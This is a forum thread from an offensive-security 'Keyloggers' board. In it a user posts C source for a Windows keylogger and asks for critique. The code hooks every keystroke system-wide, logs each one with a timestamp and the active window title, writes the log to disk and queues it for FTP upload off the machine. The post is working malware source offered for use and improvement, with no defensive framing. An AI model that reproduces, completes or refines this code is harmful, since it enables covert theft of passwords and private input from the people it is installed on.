![]() |
|
buffered unicode windows keylogger with secure ftp offload - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45) +--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447) +---- Forum: Keyloggers (https://hackforums.net/forumdisplay.php?fid=113) +---- Thread: buffered unicode windows keylogger with secure ftp offload (/showthread.php?tid=6303271) |
buffered unicode windows keylogger with secure ftp offload - 0xElPadrino - Jul 17, 2025 please shit on my code to allow me to get better, will be posting different pieces every now and then hope everyone has a blessed day! work in process :) #define _CRT_SECURE_NO_WARNINGS #include <windows.h> #include <shlwapi.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include "keylogger.h" // public API #include "ftp_uploader.h" // FTPUploader* (queue API) #pragma comment(lib, "shlwapi.lib") #define BUF_CAP 4096 // size of in-memory log buffer #define FLUSH_PERIOD_MS 10000 // how often to flush buffer (ms) // path to the log file (wide chars) static WCHAR g_log_path[MAX_PATH]; static char g_buf[BUF_CAP]; // in-memory buffer static size_t g_len = 0; // current buffer length static CRITICAL_SECTION g_cs; // protects g_buf and g_len static HHOOK g_hook = NULL; // keyboard hook handle static FTPUploader *g_ftp = NULL; // FTP upload queue static HANDLE g_thread = NULL; // logger thread handle static HANDLE g_stop_event = NULL; // signals thread to stop // write an error message to the debugger static void log_error(const char *msg, DWORD err) { char tmp[256]; snprintf(tmp, sizeof(tmp), "Keylogger error: %s (0x%08lX)\n", msg, err); OutputDebugStringA(tmp); } // fill dst with a timestamp like YYYY-MM-DD HH:MM:SS static void now_iso(char *dst, size_t n) { time_t t = time(NULL); struct tm tm; localtime_s(&tm, &t); strftime(dst, n, "%Y-%m-%d %H:%M:%S", &tm); } // write any buffered keystrokes to disk (and enqueue FTP) static void flush_log(void) { char temp_buf[BUF_CAP]; size_t temp_len; // grab buffer contents and reset under lock EnterCriticalSection(&g_cs); if (g_len == 0) { LeaveCriticalSection(&g_cs); return; } memcpy(temp_buf, g_buf, g_len); temp_len = g_len; g_len = 0; LeaveCriticalSection(&g_cs); // append to the log file HANDLE h = CreateFileW( g_log_path, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); if (h == INVALID_HANDLE_VALUE) { log_error("failed to open log file", GetLastError()); } else { DWORD written; if (!WriteFile(h, temp_buf, (DWORD)temp_len, &written, NULL) || written != temp_len) { log_error("failed to write log file", GetLastError()); } CloseHandle(h); } // if FTP is set up, queue the file (must be secure) if (g_ftp) { if (!ftp_is_secure(g_ftp)) { log_error("FTP not secure, use FTPS/SFTP", 0); } if (task_enqueue(g_ftp, g_log_path, L"logs") != 0) { log_error("FTP enqueue failed", 0); } } } // called on every key press static LRESULT CALLBACK kb_proc(int code, WPARAM wp, LPARAM lp) { if (code == HC_ACTION && (wp == WM_KEYDOWN || wp == WM_SYSKEYDOWN)) { KBDLLHOOKSTRUCT *k = (KBDLLHOOKSTRUCT*)lp; char line[256]; char ts[32]; WCHAR titleW[256] = {0}; CHAR titleA[256] = {0}; now_iso(ts, sizeof(ts)); if (!GetWindowTextW(GetForegroundWindow(), titleW, _countof(titleW))) { log_error("cannot get window title", GetLastError()); } WideCharToMultiByte(CP_UTF8, 0, titleW, -1, titleA, sizeof(titleA), NULL, NULL); // check if it's a printable ASCII key if (k->vkCode >= 0x20 && k->vkCode < 0x7F) { snprintf(line, sizeof(line), "[%s] (%s) %c\n", ts, titleA, (char)k->vkCode); } else { snprintf(line, sizeof(line), "[%s] (%s) <VK_%02X>\n", ts, titleA, (UINT)k->vkCode); } size_t len = strlen(line); EnterCriticalSection(&g_cs); if (g_len + len >= BUF_CAP) { LeaveCriticalSection(&g_cs); flush_log(); EnterCriticalSection(&g_cs); } memcpy(g_buf + g_len, line, len); g_len += len; LeaveCriticalSection(&g_cs); } return CallNextHookEx(g_hook, code, wp, lp); } // main logger thread, sets up hook and waits for stop or timeout static DWORD WINAPI logger_thr(LPVOID _) { g_hook = SetWindowsHookExW(WH_KEYBOARD_LL, kb_proc, GetModuleHandleW(NULL), 0); if (!g_hook) { log_error("failed to install hook", GetLastError()); } MSG msg; HANDLE events[] = { g_stop_event }; while (1) { DWORD r = MsgWaitForMultipleObjects( 1, events, FALSE, FLUSH_PERIOD_MS, QS_ALLINPUT ); if (r == WAIT_OBJECT_0) // stop signaled break; while (PeekMessageW(&msg, NULL, 0, 0, PM_REMOVE)) { TranslateMessage(&msg); DispatchMessageW(&msg); } flush_log(); } if (g_hook) UnhookWindowsHookEx(g_hook); flush_log(); return 0; } // start logging, returns FALSE on error BOOL start_keylogger_thread(const WCHAR *path, FTPUploader *ftp) { InitializeCriticalSection(&g_cs); g_stop_event = CreateEvent(NULL, TRUE, FALSE, NULL); if (!g_stop_event) { log_error("failed to create stop event", GetLastError()); return FALSE; } wcsncpy_s(g_log_path, path, _TRUNCATE); g_ftp = ftp; g_thread = CreateThread(NULL, 0, logger_thr, NULL, 0, NULL); if (!g_thread) { log_error("failed to start thread", GetLastError()); DeleteCriticalSection(&g_cs); CloseHandle(g_stop_event); return FALSE; } return TRUE; } // tell the thread to stop, wait for it, then clean up void stop_keylogger_thread(void) { if (g_stop_event) { SetEvent(g_stop_event); if (g_thread) { WaitForSingleObject(g_thread, INFINITE); CloseHandle(g_thread); g_thread = NULL; } CloseHandle(g_stop_event); g_stop_event = NULL; } DeleteCriticalSection(&g_cs); } |